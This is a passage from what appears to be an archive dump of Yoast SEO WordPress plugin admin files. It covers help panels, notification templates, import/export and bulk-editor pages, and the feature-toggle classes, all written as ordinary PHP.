/* translators: 1: expands to an indexable object's name, like a post type or taxonomy; 2: expands to <code>noindex</code>; 3: link open tag; 4: link close tag. */
$help_text = esc_html__( 'Not showing the archive for %1$s in the search results technically means those will have a %2$s robots meta and will be excluded from XML sitemaps. %3$sMore info on the search results settings%4$s.', 'wordpress-seo' );
}
$help_panel = new WPSEO_Admin_Help_Panel(
// Sometimes the same post type is used more than once in the same page, we need a unique ID though.
uniqid( 'noindex-' . $post_type->name ),
esc_html__( 'Help on this search results setting', 'wordpress-seo' ),
sprintf(
$help_text,
$post_type->labels->name,
'<code>noindex</code>',
'<a href="' . esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/show-x' ) ) . '" target="_blank" rel="noopener noreferrer">',
'</a>'
)
);
return $help_panel;
}
/**
* Generates the OpenGraph disabled alert, depending on whether the OpenGraph feature is disabled.
*
* @param string $type The type of message. Can be altered to homepage, taxonomies or archives. Empty string by default.
*
* @return string The alert. Returns an empty string if the setting is enabled.
*/
public function generate_opengraph_disabled_alert( $type = '' ) {
$is_enabled = WPSEO_Options::get( 'opengraph', true );
if ( $is_enabled ) {
return '';
}
$message = $this->generate_opengraph_disabled_alert_text( $type );
if ( empty( $message ) ) {
return '';
}
$alert = new Alert_Presenter( $message, 'info' );
return sprintf(
'<div class="yoast-measure padded">%s</div>',
$alert->present()
);
}
/**
* Generates the OpenGraph disabled alert text.
*
* @param string $type The type of message. Can be altered to homepage, taxonomies or archives. Empty string by default.
*
* @return string The alert. Returns an empty string if the setting is enabled.
*/
private function generate_opengraph_disabled_alert_text( $type ) {
if ( $type === 'homepage' ) {
return sprintf(
/* translators: 1: link open tag; 2: link close tag. */
esc_html__(
'The social appearance settings for your homepage require Open Graph metadata (which is currently disabled). You can enable this in the %1$s‘Social’ settings under the ‘Facebook’ tab%2$s.',
'wordpress-seo'
),
'<a href="' . esc_url( admin_url( 'admin.php?page=wpseo_social#top#facebook' ) ) . '">',
'</a>'
);
}
if ( ! YoastSEO()->helpers->product->is_premium() ) {
return '';
}
if ( $type === '' ) {
return sprintf(
/* translators: 1: link open tag; 2: link close tag. */
esc_html__(
'The social appearance settings for content types require Open Graph metadata (which is currently disabled). You can enable this in the %1$s‘Social’ settings under the ‘Facebook’ tab%2$s.',
'wordpress-seo'
),
'<a href="' . esc_url( admin_url( 'admin.php?page=wpseo_social#top#facebook' ) ) . '">',
'</a>'
);
}
if ( $type === 'taxonomies' ) {
return sprintf(
/* translators: 1: link open tag; 2: link close tag. */
esc_html__(
'The social appearance settings for taxonomies require Open Graph metadata (which is currently disabled). You can enable this in the %1$s‘Social’ settings under the ‘Facebook’ tab%2$s.',
'wordpress-seo'
),
'<a href="' . esc_url( admin_url( 'admin.php?page=wpseo_social#top#facebook' ) ) . '">',
'</a>'
);
}
if ( $type === 'archives' ) {
return sprintf(
/* translators: 1: link open tag; 2: link close tag. */
esc_html__(
'The social appearance settings for archives require Open Graph metadata (which is currently disabled). You can enable this in the %1$s‘Social’ settings under the ‘Facebook’ tab%2$s.',
'wordpress-seo'
),
'<a href="' . esc_url( admin_url( 'admin.php?page=wpseo_social#top#facebook' ) ) . '">',
'</a>'
);
}
return '';
}
}
partial-notifications-errors.php 0000666 00000002163 15112332326 0013076 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
*
* @uses array $notifications_data
*/
$yoast_seo_type = 'errors';
$yoast_seo_dashicon = 'warning';
$yoast_seo_active = $notifications_data['errors']['active'];
$yoast_seo_dismissed = $notifications_data['errors']['dismissed'];
$yoast_seo_active_total = count( $yoast_seo_active );
$yoast_seo_dismissed_total = count( $yoast_seo_dismissed );
$yoast_seo_total = $notifications_data['metrics']['errors'];
$yoast_seo_i18n_title = __( 'Problems', 'wordpress-seo' );
$yoast_seo_i18n_issues = __( 'We have detected the following issues that affect the SEO of your site.', 'wordpress-seo' );
$yoast_seo_i18n_no_issues = __( 'Good job! We could detect no serious SEO problems.', 'wordpress-seo' );
$yoast_seo_i18n_muted_issues_title = sprintf(
/* translators: %d expands the amount of hidden problems. */
_n( 'You have %d hidden problem:', 'You have %d hidden problems:', $yoast_seo_dismissed_total, 'wordpress-seo' ),
$yoast_seo_dismissed_total
);
require WPSEO_PATH . 'admin/views/partial-notifications-template.php';
form/select.php 0000666 00000002115 15112332326 0007500 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
*
* @uses string $attributes Additional attributes for the select.
* @uses string $name Value for the select name attribute.
* @uses string $id ID attribute for the select.
* @uses array $options Array with the options to show.
* @uses string $selected The current set options.
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
?>
<?php /* phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $attributes is properly escaped in parse_attribute via get_attributes in class-yoast-input-select.php. */ ?>
<select <?php echo $attributes; ?>name="<?php echo esc_attr( $name ); ?>" id="<?php echo esc_attr( $id ); ?>">
<?php foreach ( $options as $option_attribute_value => $option_html_value ) : ?>
<option value="<?php echo esc_attr( $option_attribute_value ); ?>"<?php echo selected( $selected, $option_attribute_value, false ); ?>><?php echo esc_html( $option_html_value ); ?></option>
<?php endforeach; ?>
</select>
partial-notifications-warnings.php 0000666 00000002101 15112332326 0013402 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
*
* @uses array $notifications_data
*/
$yoast_seo_type = 'warnings';
$yoast_seo_dashicon = 'flag';
$yoast_seo_active = $notifications_data['warnings']['active'];
$yoast_seo_dismissed = $notifications_data['warnings']['dismissed'];
$yoast_seo_active_total = count( $notifications_data['warnings']['active'] );
$yoast_seo_dismissed_total = count( $notifications_data['warnings']['dismissed'] );
$yoast_seo_total = $notifications_data['metrics']['warnings'];
$yoast_seo_i18n_title = __( 'Notifications', 'wordpress-seo' );
$yoast_seo_i18n_issues = '';
$yoast_seo_i18n_no_issues = __( 'No new notifications.', 'wordpress-seo' );
$yoast_seo_i18n_muted_issues_title = sprintf(
/* translators: %d expands the amount of hidden notifications. */
_n( 'You have %d hidden notification:', 'You have %d hidden notifications:', $yoast_seo_dismissed_total, 'wordpress-seo' ),
$yoast_seo_dismissed_total
);
require WPSEO_PATH . 'admin/views/partial-notifications-template.php';
tool-import-export.php 0000666 00000006654 15112332326 0011076 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
$yform = Yoast_Form::get_instance();
$yoast_seo_import = false;
/**
* The import method is used to determine if there should be something imported.
*
* In case of POST the user is on the Yoast SEO import page and in case of the GET the user sees a notice from
* Yoast SEO that we can import stuff for that plugin.
*/
if ( filter_input( INPUT_POST, 'import' ) || filter_input( INPUT_GET, 'import' ) ) {
check_admin_referer( 'wpseo-import' );
$yoast_seo_post_wpseo = filter_input( INPUT_POST, 'wpseo', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );
$yoast_seo_action = 'import';
}
elseif ( filter_input( INPUT_POST, 'import_external' ) ) {
check_admin_referer( 'wpseo-import-plugins' );
$yoast_seo_class = filter_input( INPUT_POST, 'import_external_plugin' );
if ( class_exists( $yoast_seo_class ) ) {
$yoast_seo_import = new WPSEO_Import_Plugin( new $yoast_seo_class(), 'import' );
}
}
elseif ( filter_input( INPUT_POST, 'clean_external' ) ) {
check_admin_referer( 'wpseo-clean-plugins' );
$yoast_seo_class = filter_input( INPUT_POST, 'clean_external_plugin' );
if ( class_exists( $yoast_seo_class ) ) {
$yoast_seo_import = new WPSEO_Import_Plugin( new $yoast_seo_class(), 'cleanup' );
}
}
elseif ( filter_input( INPUT_POST, 'settings_import' ) ) {
$yoast_seo_import = new WPSEO_Import_Settings();
$yoast_seo_import->import();
}
/**
* Allow custom import actions.
*
* @api WPSEO_Import_Status $yoast_seo_import Contains info about the handled import.
*/
$yoast_seo_import = apply_filters( 'wpseo_handle_import', $yoast_seo_import );
if ( $yoast_seo_import ) {
$yoast_seo_message = '';
if ( $yoast_seo_import->status instanceof WPSEO_Import_Status ) {
$yoast_seo_message = $yoast_seo_import->status->get_msg();
}
/**
* Allow customization of import/export message.
*
* @api string $yoast_seo_msg The message.
*/
$yoast_seo_msg = apply_filters( 'wpseo_import_message', $yoast_seo_message );
if ( ! empty( $yoast_seo_msg ) ) {
$yoast_seo_status = 'error';
if ( $yoast_seo_import->status->status ) {
$yoast_seo_status = 'updated';
}
$yoast_seo_class = 'message ' . $yoast_seo_status;
echo '<div id="message" class="', esc_attr( $yoast_seo_status ), '"><p>', esc_html( $yoast_seo_msg ), '</p></div>';
}
}
$yoast_seo_tabs = [
'wpseo-import' => [
'label' => __( 'Import settings', 'wordpress-seo' ),
],
'wpseo-export' => [
'label' => __( 'Export settings', 'wordpress-seo' ),
],
'import-seo' => [
'label' => __( 'Import from other SEO plugins', 'wordpress-seo' ),
],
];
?>
<br/><br/>
<h2 class="nav-tab-wrapper" id="wpseo-tabs">
<?php foreach ( $yoast_seo_tabs as $identifier => $tab ) : ?>
<a class="nav-tab" id="<?php echo esc_attr( $identifier . '-tab' ); ?>" href="<?php echo esc_url( '#top#' . $identifier ); ?>"><?php echo esc_html( $tab['label'] ); ?></a>
<?php endforeach; ?>
<?php
/**
* Allow adding a custom import tab header.
*/
do_action( 'wpseo_import_tab_header' );
?>
</h2>
<?php
foreach ( $yoast_seo_tabs as $identifier => $tab ) {
printf( '<div id="%s" class="wpseotab">', esc_attr( $identifier ) );
require_once WPSEO_PATH . 'admin/views/tabs/tool/' . $identifier . '.php';
echo '</div>';
}
/**
* Allow adding a custom import tab.
*/
do_action( 'wpseo_import_tab_content' );
paper-collapsible.php 0000666 00000006023 15112332326 0010656 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*
* @uses string $paper_id The ID of the paper.
* @uses string $paper_id_prefix The ID prefix of the paper.
* @uses bool $collapsible Whether the collapsible should be rendered.
* @uses array $collapsible_config Configuration for the collapsible.
* @uses string $collapsible_header_class Class for the collapsible header.
* @uses string $title The title.
* @uses string $title_after Additional content to render after the title.
* @uses string $view_file Path to the view file.
* @uses WPSEO_Admin_Help_Panel $help_text The help text.
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
?>
<div
class="<?php echo esc_attr( 'paper tab-block ' . $class ); ?>"<?php echo ( $paper_id ) ? ' id="' . esc_attr( $paper_id_prefix . $paper_id ) . '"' : ''; ?>>
<?php
if ( ! empty( $title ) ) {
if ( ! empty( $collapsible ) ) {
$button_id_attr = '';
if ( ! empty( $paper_id ) ) {
$button_id_attr = sprintf( ' id="%s"', esc_attr( $paper_id_prefix . $paper_id . '-button' ) );
}
printf(
'<h2 class="%1$s"><button%2$s type="button" class="toggleable-container-trigger" aria-expanded="%3$s">%4$s%5$s <span class="toggleable-container-icon dashicons %6$s" aria-hidden="true"></span></button></h2>',
esc_attr( 'collapsible-header ' . $collapsible_header_class ),
// phpcs:ignore WordPress.Security.EscapeOutput -- $button_id_attr is escaped above.
$button_id_attr,
esc_attr( $collapsible_config['expanded'] ),
// phpcs:ignore WordPress.Security.EscapeOutput -- $help_text is an instance of WPSEO_Admin_Help_Panel, which escapes it's own output.
$help_text->get_button_html(),
esc_html( $title ) . wp_kses_post( $title_after ),
wp_kses_post( $collapsible_config['toggle_icon'] )
);
}
else {
echo '<div class="paper-title"><h2 class="help-button-inline">',
esc_html( $title ),
wp_kses_post( $title_after ),
// phpcs:ignore WordPress.Security.EscapeOutput -- $help_text is an instance of WPSEO_Admin_Help_Panel, which escapes it's own output.
$help_text->get_button_html(),
'</h2></div>';
}
}
?>
<?php
// phpcs:ignore WordPress.Security.EscapeOutput -- $help_text is an instance of WPSEO_Admin_Help_Panel, which escapes it's own output.
echo $help_text->get_panel_html();
$container_id_attr = '';
if ( ! empty( $paper_id ) ) {
$container_id_attr = sprintf( ' id="%s"', esc_attr( $paper_id_prefix . $paper_id . '-container' ) );
}
printf(
'<div%1$s class="%2$s">%3$s</div>',
// phpcs:ignore WordPress.Security.EscapeOutput -- $container_id_attr is escaped above.
$container_id_attr,
esc_attr( 'paper-container ' . $collapsible_config['class'] ),
$content
);
?>
</div>
partial-notifications-template.php 0000666 00000007461 15112332326 0013403 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
*
* @uses string $yoast_seo_type
* @uses string $yoast_seo_dashicon
* @uses string $yoast_seo_i18n_title
* @uses string $yoast_seo_i18n_issues
* @uses string $yoast_seo_i18n_no_issues
* @uses string $yoast_seo_i18n_muted_issues_title
* @uses int $yoast_seo_active_total
* @uses int $yoast_seo_dismissed_total
* @uses int $yoast_seo_total
* @uses array $yoast_seo_active
* @uses array $yoast_seo_dismissed
*/
if ( ! function_exists( '_yoast_display_notifications' ) ) {
/**
* Create the notifications HTML with restore/dismiss button.
*
* @param array $notifications_list List of notifications.
* @param string $status Status of the notifications (active/dismissed).
*
* @return string The output to render.
*/
function _yoast_display_notifications( $notifications_list, $status ) {
$notifications = '';
foreach ( $notifications_list as $notification ) {
switch ( $status ) {
case 'active':
$button = sprintf(
'<button type="button" class="button dismiss"><span class="screen-reader-text">%1$s</span><span class="dashicons dashicons-hidden"></span></button>',
esc_html__( 'Hide this item.', 'wordpress-seo' )
);
break;
case 'dismissed':
$button = sprintf(
'<button type="button" class="button restore"><span class="screen-reader-text">%1$s</span><span class="dashicons yoast-svg-icon-eye"></span></button>',
esc_html__( 'Show this item.', 'wordpress-seo' )
);
break;
}
$notifications .= sprintf(
'<div class="yoast-notification-holder" id="%1$s" data-nonce="%2$s" data-json="%3$s">%4$s%5$s</div>',
esc_attr( $notification->get_id() ),
esc_attr( $notification->get_nonce() ),
esc_attr( $notification->get_json() ),
// This needs to be fixed in https://github.com/Yoast/wordpress-seo-premium/issues/2548.
$notification,
// Note: $button is properly escaped above.
$button
);
}
return $notifications;
}
}
$wpseo_i18n_summary = $yoast_seo_i18n_issues;
if ( ! $yoast_seo_active ) {
$yoast_seo_dashicon = 'yes';
$wpseo_i18n_summary = $yoast_seo_i18n_no_issues;
}
?>
<h3 class="yoast-notifications-header" id="<?php echo esc_attr( 'yoast-' . $yoast_seo_type . '-header' ); ?>">
<span class="dashicons <?php echo esc_attr( 'dashicons-' . $yoast_seo_dashicon ); ?>"></span>
<?php echo esc_html( $yoast_seo_i18n_title ); ?> (<?php echo (int) $yoast_seo_active_total; ?>)
</h3>
<div id="<?php echo esc_attr( 'yoast-' . $yoast_seo_type ); ?>">
<?php if ( $yoast_seo_total ) : ?>
<p><?php echo esc_html( $wpseo_i18n_summary ); ?></p>
<div class="container yoast-notifications-active" id="<?php echo esc_attr( 'yoast-' . $yoast_seo_type . '-active' ); ?>">
<?php
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: _yoast_display_notifications() as declared above is safe.
echo _yoast_display_notifications( $yoast_seo_active, 'active' );
?>
</div>
<?php
if ( $yoast_seo_dismissed ) {
$dismissed_paper = new WPSEO_Paper_Presenter(
esc_html( $yoast_seo_i18n_muted_issues_title ),
null,
[
'paper_id' => esc_attr( $yoast_seo_type . '-dismissed' ),
'paper_id_prefix' => 'yoast-',
'class' => 'yoast-notifications-dismissed',
'content' => _yoast_display_notifications( $yoast_seo_dismissed, 'dismissed' ),
'collapsible' => true,
'collapsible_header_class' => 'yoast-notification',
]
);
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: get_output() output is properly escaped.
echo $dismissed_paper->get_output();
}
?>
<?php else : ?>
<p><?php echo esc_html( $yoast_seo_i18n_no_issues ); ?></p>
<?php endif; ?>
</div>
class-yoast-feature-toggles.php 0000666 00000027663 15112332326 0012632 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
*/
use Yoast\WP\SEO\Helpers\Language_Helper;
use Yoast\WP\SEO\Presenters\Admin\Alert_Presenter;
/**
* Class for managing feature toggles.
*/
class Yoast_Feature_Toggles {
/**
* Available feature toggles.
*
* @var array
*/
protected $toggles;
/**
* Instance holder.
*
* @var self|null
*/
protected static $instance = null;
/**
* Gets the main feature toggles manager instance used.
*
* This essentially works like a Singleton, but for its drawbacks does not restrict
* instantiation otherwise.
*
* @return self Main instance.
*/
public static function instance() {
if ( self::$instance === null ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* Gets all available feature toggles.
*
* @return array List of sorted Yoast_Feature_Toggle instances.
*/
public function get_all() {
if ( $this->toggles === null ) {
$this->toggles = $this->load_toggles();
}
return $this->toggles;
}
/**
* Loads the available feature toggles.
*
* Also ensures that the toggles are all Yoast_Feature_Toggle instances and sorted by their order value.
*
* @return array List of sorted Yoast_Feature_Toggle instances.
*/
protected function load_toggles() {
$xml_sitemap_extra = false;
if ( WPSEO_Options::get( 'enable_xml_sitemap' ) ) {
$xml_sitemap_extra = '<a href="' . esc_url( WPSEO_Sitemaps_Router::get_base_url( 'sitemap_index.xml' ) )
. '" target="_blank">' . esc_html__( 'See the XML sitemap.', 'wordpress-seo' ) . '</a>';
}
$feature_toggles = [
(object) [
'name' => __( 'SEO analysis', 'wordpress-seo' ),
'setting' => 'keyword_analysis_active',
'label' => __( 'The SEO analysis offers suggestions to improve the SEO of your text.', 'wordpress-seo' ),
'read_more_label' => __( 'Learn how the SEO analysis can help you rank.', 'wordpress-seo' ),
'read_more_url' => 'https://yoa.st/2ak',
'order' => 10,
],
(object) [
'name' => __( 'Readability analysis', 'wordpress-seo' ),
'setting' => 'content_analysis_active',
'label' => __( 'The readability analysis offers suggestions to improve the structure and style of your text.', 'wordpress-seo' ),
'read_more_label' => __( 'Discover why readability is important for SEO.', 'wordpress-seo' ),
'read_more_url' => 'https://yoa.st/2ao',
'order' => 20,
],
(object) [
'name' => __( 'Inclusive language analysis', 'wordpress-seo' ),
'premium' => true,
'premium_version' => '19.2.1-RC0',
'in_beta' => true,
'supported_languages' => Language_Helper::$languages_with_inclusive_language_support,
'setting' => 'inclusive_language_analysis_active',
'label' => __( 'The inclusive language analysis offers suggestions to write more inclusive copy.', 'wordpress-seo' ),
'read_more_label' => __( 'Discover why inclusive language is important for SEO.', 'wordpress-seo' ),
'read_more_url' => 'https://yoa.st/inclusive-language-features-free',
'premium_url' => 'https://yoa.st/inclusive-language-features-premium',
'premium_upsell_url' => 'https://yoa.st/get-inclusive-language',
'order' => 25,
],
(object) [
'name' => __( 'Cornerstone content', 'wordpress-seo' ),
'setting' => 'enable_cornerstone_content',
'label' => __( 'The cornerstone content feature lets you to mark and filter cornerstone content on your website.', 'wordpress-seo' ),
'read_more_label' => __( 'Find out how cornerstone content can help you improve your site structure.', 'wordpress-seo' ),
'read_more_url' => 'https://yoa.st/dashboard-help-cornerstone',
'order' => 30,
],
(object) [
'name' => __( 'Text link counter', 'wordpress-seo' ),
'setting' => 'enable_text_link_counter',
'label' => __( 'The text link counter helps you improve your site structure.', 'wordpress-seo' ),
'read_more_label' => __( 'Find out how the text link counter can enhance your SEO.', 'wordpress-seo' ),
'read_more_url' => 'https://yoa.st/2aj',
'order' => 40,
],
(object) [
'name' => __( 'Insights', 'wordpress-seo' ),
'setting' => 'enable_metabox_insights',
'label' => __( 'Find relevant data about your content right in the Insights section in the Yoast SEO metabox. You’ll see what words you use most often and if they’re a match with your keywords! ', 'wordpress-seo' ),
'read_more_label' => __( 'Find out how Insights can help you improve your content.', 'wordpress-seo' ),
'read_more_url' => 'https://yoa.st/4ew',
'premium_url' => 'https://yoa.st/2ai',
'order' => 41,
],
(object) [
'name' => __( 'Link suggestions', 'wordpress-seo' ),
'premium' => true,
'setting' => 'enable_link_suggestions',
'label' => __( 'Get relevant internal linking suggestions — while you’re writing! The link suggestions metabox shows a list of posts on your blog with similar content that might be interesting to link to. ', 'wordpress-seo' ),
'read_more_label' => __( 'Read more about how internal linking can improve your site structure.', 'wordpress-seo' ),
'read_more_url' => 'https://yoa.st/4ev',
'premium_url' => 'https://yoa.st/17g',
'premium_upsell_url' => 'https://yoa.st/get-link-suggestions',
'order' => 42,
],
(object) [
'name' => __( 'XML sitemaps', 'wordpress-seo' ),
'setting' => 'enable_xml_sitemap',
/* translators: %s: Yoast SEO */
'label' => sprintf( __( 'Enable the XML sitemaps that %s generates.', 'wordpress-seo' ), 'Yoast SEO' ),
'read_more_label' => __( 'Read why XML Sitemaps are important for your site.', 'wordpress-seo' ),
'read_more_url' => 'https://yoa.st/2a-',
'extra' => $xml_sitemap_extra,
'after' => $this->sitemaps_toggle_after(),
'order' => 60,
],
(object) [
'name' => __( 'Admin bar menu', 'wordpress-seo' ),
'setting' => 'enable_admin_bar_menu',
/* translators: 1: Yoast SEO */
'label' => sprintf( __( 'The %1$s admin bar menu contains useful links to third-party tools for analyzing pages and makes it easy to see if you have new notifications.', 'wordpress-seo' ), 'Yoast SEO' ),
'order' => 80,
],
(object) [
'name' => __( 'Security: no advanced or schema settings for authors', 'wordpress-seo' ),
'setting' => 'disableadvanced_meta',
'label' => sprintf(
/* translators: 1: Yoast SEO, 2: translated version of "Off" */
__( 'The advanced section of the %1$s meta box allows a user to remove posts from the search results or change the canonical. The settings in the schema tab allows a user to change schema meta data for a post. These are things you might not want any author to do. That\'s why, by default, only editors and administrators can do this. Setting to "%2$s" allows all users to change these settings.', 'wordpress-seo' ),
'Yoast SEO',
__( 'Off', 'wordpress-seo' )
),
'order' => 90,
],
(object) [
'name' => __( 'Usage tracking', 'wordpress-seo' ),
'label' => __( 'Usage tracking', 'wordpress-seo' ),
'setting' => 'tracking',
'read_more_label' => sprintf(
/* translators: 1: Yoast SEO */
__( 'Allow us to track some data about your site to improve our plugin.', 'wordpress-seo' ),
'Yoast SEO'
),
'read_more_url' => 'https://yoa.st/usage-tracking-2',
'order' => 95,
],
(object) [
'name' => __( 'REST API: Head endpoint', 'wordpress-seo' ),
'setting' => 'enable_headless_rest_endpoints',
'label' => sprintf(
/* translators: 1: Yoast SEO */
__( 'This %1$s REST API endpoint gives you all the metadata you need for a specific URL. This will make it very easy for headless WordPress sites to use %1$s for all their SEO meta output.', 'wordpress-seo' ),
'Yoast SEO'
),
'order' => 100,
],
(object) [
'name' => __( 'Enhanced Slack sharing', 'wordpress-seo' ),
'setting' => 'enable_enhanced_slack_sharing',
'label' => __( 'This adds an author byline and reading time estimate to the article’s snippet when shared on Slack.', 'wordpress-seo' ),
'read_more_label' => __( 'Find out how a rich snippet can improve visibility and click-through-rate.', 'wordpress-seo' ),
'read_more_url' => 'https://yoa.st/help-slack-share',
'order' => 105,
],
(object) [
'name' => __( 'IndexNow', 'wordpress-seo' ),
'premium' => true,
'setting' => 'enable_index_now',
'label' => __( 'Automatically ping search engines like Bing and Yandex whenever you publish, update or delete a post.', 'wordpress-seo' ),
'read_more_label' => __( 'Find out how IndexNow can help your site.', 'wordpress-seo' ),
'read_more_url' => 'https://yoa.st/index-now-read-more',
'premium_url' => 'https://yoa.st/index-now-feature',
'premium_upsell_url' => 'https://yoa.st/get-indexnow',
'order' => 110,
],
];
/**
* Filter to add feature toggles from add-ons.
*
* @param array $feature_toggles Array with feature toggle objects where each object
* should have a `name`, `setting` and `label` property.
*/
$feature_toggles = apply_filters( 'wpseo_feature_toggles', $feature_toggles );
$feature_toggles = array_map( [ $this, 'ensure_toggle' ], $feature_toggles );
usort( $feature_toggles, [ $this, 'sort_toggles_callback' ] );
return $feature_toggles;
}
/**
* Returns html for a warning that core sitemaps are enabled when yoast seo sitemaps are disabled.
*
* @return string HTML string for the warning.
*/
protected function sitemaps_toggle_after() {
$out = '<div id="yoast-seo-sitemaps-disabled-warning" style="display:none;">';
$alert = new Alert_Presenter(
/* translators: %1$s: expands to an opening anchor tag, %2$s: expands to a closing anchor tag */
\sprintf( esc_html__( 'Disabling Yoast SEO\'s XML sitemaps will not disable WordPress\' core sitemaps. In some cases, this %1$s may result in SEO errors on your site%2$s. These may be reported in Google Search Console and other tools.', 'wordpress-seo' ), '<a target="_blank" href="' . WPSEO_Shortlinker::get( 'https://yoa.st/44z' ) . '">', '</a>' ),
'warning'
);
$out .= $alert->present();
$out .= '</div>';
return $out;
}
/**
* Ensures that the passed value is a Yoast_Feature_Toggle.
*
* @param Yoast_Feature_Toggle|object|array $toggle_data Feature toggle instance, or raw object or array
* containing feature toggle data.
* @return Yoast_Feature_Toggle Feature toggle instance based on $toggle_data.
*/
protected function ensure_toggle( $toggle_data ) {
if ( $toggle_data instanceof Yoast_Feature_Toggle ) {
return $toggle_data;
}
if ( is_object( $toggle_data ) ) {
$toggle_data = get_object_vars( $toggle_data );
}
return new Yoast_Feature_Toggle( $toggle_data );
}
/**
* Callback for sorting feature toggles by their order.
*
* {@internal Once the minimum PHP version goes up to PHP 7.0, the logic in the function
* can be replaced with the spaceship operator `<=>`.}
*
* @param Yoast_Feature_Toggle $feature_a Feature A.
* @param Yoast_Feature_Toggle $feature_b Feature B.
*
* @return int An integer less than, equal to, or greater than zero indicating respectively
* that feature A is considered to be less than, equal to, or greater than feature B.
*/
protected function sort_toggles_callback( Yoast_Feature_Toggle $feature_a, Yoast_Feature_Toggle $feature_b ) {
return ( $feature_a->order - $feature_b->order );
}
}
tool-bulk-editor.php 0000666 00000006163 15112332326 0010461 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
* @since 1.5.0
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
/**
* Sanitizes the parameters that have been sent.
*
* @return array The sanitized fields.
*/
function yoast_free_bulk_sanitize_input_fields() {
$possible_params = [
'type',
'paged',
'post_type_filter',
'post_status',
'order',
'orderby',
];
$input_get = [];
foreach ( $possible_params as $param_name ) {
if ( isset( $_GET[ $param_name ] ) ) {
$input_get[ $param_name ] = sanitize_text_field( wp_unslash( $_GET[ $param_name ] ) );
}
}
return $input_get;
}
$yoast_free_input_fields = yoast_free_bulk_sanitize_input_fields();
// Verifies the nonce.
if ( ! empty( $yoast_free_input_fields ) ) {
check_admin_referer( 'bulk-editor-table', 'nonce' );
}
// If type is empty, fill it with value of first tab (title).
if ( ! isset( $yoast_free_input_fields['type'] ) ) {
$yoast_free_input_fields['type'] = 'title';
}
$yoast_bulk_editor_arguments = [
'input_fields' => $yoast_free_input_fields,
'nonce' => wp_create_nonce( 'bulk-editor-table' ),
];
$wpseo_bulk_titles_table = new WPSEO_Bulk_Title_Editor_List_Table( $yoast_bulk_editor_arguments );
$wpseo_bulk_description_table = new WPSEO_Bulk_Description_List_Table( $yoast_bulk_editor_arguments );
$yoast_free_screen_reader_content = [
'heading_views' => __( 'Filter posts list', 'wordpress-seo' ),
'heading_pagination' => __( 'Posts list navigation', 'wordpress-seo' ),
'heading_list' => __( 'Posts list', 'wordpress-seo' ),
];
get_current_screen()->set_screen_reader_content( $yoast_free_screen_reader_content );
if ( ! empty( $_REQUEST['_wp_http_referer'] ) && isset( $_SERVER['REQUEST_URI'] ) ) {
$request_uri = sanitize_file_name( wp_unslash( $_SERVER['REQUEST_URI'] ) );
wp_redirect(
remove_query_arg(
[ '_wp_http_referer', '_wpnonce' ],
$request_uri
)
);
exit;
}
/**
* Renders a bulk editor tab.
*
* @param WPSEO_Bulk_List_Table $table The table to render.
* @param string $id The id for the tab.
*/
function wpseo_get_rendered_tab( $table, $id ) {
?>
<div id="<?php echo esc_attr( $id ); ?>" class="wpseotab">
<?php
$table->show_page();
?>
</div>
<?php
}
?>
<script>
<?php /* phpcs:ignore WordPress.Security.EscapeOutput -- WPSEO_Utils::format_json_encode is safe. */ ?>
var wpseoBulkEditorNonce = <?php echo WPSEO_Utils::format_json_encode( wp_create_nonce( 'wpseo-bulk-editor' ) ); ?>;
// eslint-disable-next-line
var wpseo_bulk_editor_nonce = wpseoBulkEditorNonce;
</script>
<br/><br/>
<div class="wpseo_table_page">
<h2 class="nav-tab-wrapper" id="wpseo-tabs">
<a class="nav-tab" id="title-tab" href="#top#title"><?php esc_html_e( 'Title', 'wordpress-seo' ); ?></a>
<a class="nav-tab" id="description-tab"
href="#top#description"><?php esc_html_e( 'Description', 'wordpress-seo' ); ?></a>
</h2>
<div class="tabwrapper">
<?php wpseo_get_rendered_tab( $wpseo_bulk_titles_table, 'title' ); ?>
<?php wpseo_get_rendered_tab( $wpseo_bulk_description_table, 'description' ); ?>
</div>
</div>
class-yoast-feature-toggle.php 0000666 00000011043 15112332326 0012430 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
*/
/**
* Class representing a feature toggle.
*/
class Yoast_Feature_Toggle {
/**
* Feature toggle identifier.
*
* @var string
*/
protected $name = '';
/**
* Name of the setting the feature toggle is associated with.
*
* @var string
*/
protected $setting = '';
/**
* Whether the feature is premium or not.
*
* @var bool
*/
protected $premium = false;
/**
* Whether the feature is in beta or not.
*
* @var bool
*/
protected $in_beta = false;
/**
* The Premium version in which this feature has been added.
*
* @var string
*/
protected $premium_version = '';
/**
* The languages in which this feature is supported.
* E.g. for language specific analysis support.
*
* If empty, the feature is considered to have support in all languages.
*
* @var string[]
*/
protected $supported_languages = [];
/**
* Feature toggle label.
*
* @var string
*/
protected $label = '';
/**
* URL to learn more about the feature.
*
* @var string
*/
protected $read_more_url = '';
/**
* URL to learn more about the premium feature.
*
* @var string
*/
protected $premium_url = '';
/**
* URL to buy premium.
*
* @var string
*/
protected $premium_upsell_url = '';
/**
* Label for the learn more link.
*
* @var string
*/
protected $read_more_label = '';
/**
* Additional help content for the feature.
*
